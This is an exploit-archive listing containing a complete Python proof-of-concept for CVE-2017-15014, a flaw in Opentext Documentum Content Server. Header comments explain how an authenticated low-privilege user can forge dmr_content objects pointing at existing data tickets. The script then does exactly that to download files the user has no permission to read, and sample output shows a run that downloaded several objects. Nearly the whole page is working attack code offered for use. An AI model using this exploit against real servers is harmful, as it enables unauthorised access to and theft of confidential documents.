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Opentext Documentum Content Server File Download Exploit
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Security Risk High
]0day-ID
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#!/usr/bin/env python # Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) # contains following design gap, which allows authenticated user to download arbitrary # content files regardless attacker's repository permissions: # # when authenticated user upload content to repository he performs following steps: # - calls START_PUSH RPC-command # - uploads file to content server # - calls END_PUSH_V2 RPC-command, here Content Server returns DATA_TICKET, # purposed to identify the location of the uploaded file on Content Server filesystem # - further user creates dmr_content object in repository, which has value of data_ticket equal # to the value of DATA_TICKET returned at the end of END_PUSH_V2 call # # As the result of such design any authenticated user may create his own dmr_content object, # pointing to already existing content of Content Server filesystem # # The PoC below demonstrates this vulnerability: # # MacBook-Pro:~ $ python CVE-2017-15014.py # usage: # CVE-2017-15014.py host port user password # MacBook-Pro:~ $ python CVE-2017-15014.py docu72dev01 10001 dm_bof_registry dm_bof_registry # Trying to connect to docu72dev01:10001 as dm_bof_registry ... # Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle # Trying to find any object with content... # Querying "inaccessible" dmr_content objects... # Downloaded 3959/3959 bytes of object 06024be980000133 # Downloaded 11280/11280 bytes of object 06024be980000135 # Downloaded 10004/10004 bytes of object 06024be980000138 # Downloaded 23692/23692 bytes of object 06024be98000017a # Downloaded 19541/19541 bytes of object 06024be980000180 # Downloaded 1096/1096 bytes of object 06024be980000172 # Downloaded 11776/11776 bytes of object 06024be98000011f # Downloaded 50176/50176 bytes of object 06024be980000125 # Downloaded 16384/16384 bytes of object 06024be98000012f # Downloaded 985/985 bytes of object 06024be9800001f5 # Downloaded 191/191 bytes of object 06024be9800001fe # Downloaded 213/213 bytes of object 06024be980000200 # import socket import sys from dctmpy import NULL_ID from dctmpy.docbaseclient import DocbaseClient from dctmpy.obj.typedobject import TypedObject CIPHERS = "ALL:aNULL:!eNULL" def usage(): print "usage:\n%s host port user password" % sys.argv[0] def main(): if len(sys.argv) != 5: usage() exit(1) (session, docbase) = create_session(*sys.argv[1:5]) if is_super_user(session): print "Current user is a superuser, nothing to do" exit(1) print "Trying to find any object with content..." object_id = session.query( "SELECT FOR READ r_object_id " "FROM dm_sysobject WHERE r_content_size>0") \ .next_record()['r_object_id'] session.apply(None, NULL_ID, "BEGIN_TRANS") print "Querying \"inaccessible\" dmr_content objects..." for e in session.query( "SELECT * FROM dmr_content " "WHERE ANY parent_id IS NOT NULLID " "AND ANY parent_id NOT IN " "(SELECT r_object_id FROM dm_sysobject)" ): handle = 0 try: content_id = session.next_id(0x06) obj = TypedObject(session=session) obj.set_string("OBJECT_TYPE", "dmr_content") obj.set_bool("IS_NEW_OBJECT", True) obj.set_int("i_vstamp", 0) obj.set_id("storage_id", e["storage_id"]) obj.set_id("format", e["format"]) obj.set_int("data_ticket", e["data_ticket"]) obj.set_id("parent_id", object_id) if not session.save_cont_attrs(content_id, obj): print "Failed" exit(1) handle = session.make_puller( NULL_ID, obj["storage_id"], content_id, obj["format"], obj["data_ticket"] ) if handle == 0: raise RuntimeError("Unable make puller") size = 0 for chunk in session.download(handle): size += len(chunk) print "Downloaded %d/%d bytes of object %s" % \ (size, e['full_content_size'], e['r_object_id']) finally: if handle > 0: try: session.kill_puller(handle) except: pass def create_session(host, port, user, pwd): print "Trying to connect to %s:%s as %s ..." % (host, port, user) session = None try: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd) except socket.error, e: if e.errno == 54: session = DocbaseClient( host=host, port=int(port), username=user, password=pwd, secure=True, ciphers=CIPHERS) else: raise e docbase = session.docbaseconfig['object_name'] version = session.serverconfig['r_server_version'] print "Connected to %s:%s, docbase: %s, version: %s" % \ (host, port, docbase, version) return (session, docbase) def is_super_user(session): user = session.get_by_qualification("dm_user WHERE user_name=USER") if user['user_privileges'] == 16: return True group = session.get_by_qualification( "dm_group where group_name='dm_superusers' " "AND any i_all_users_names=USER") if group is not None: return True return False if __name__ == '__main__': main() # 0day.today [2024-11-15] #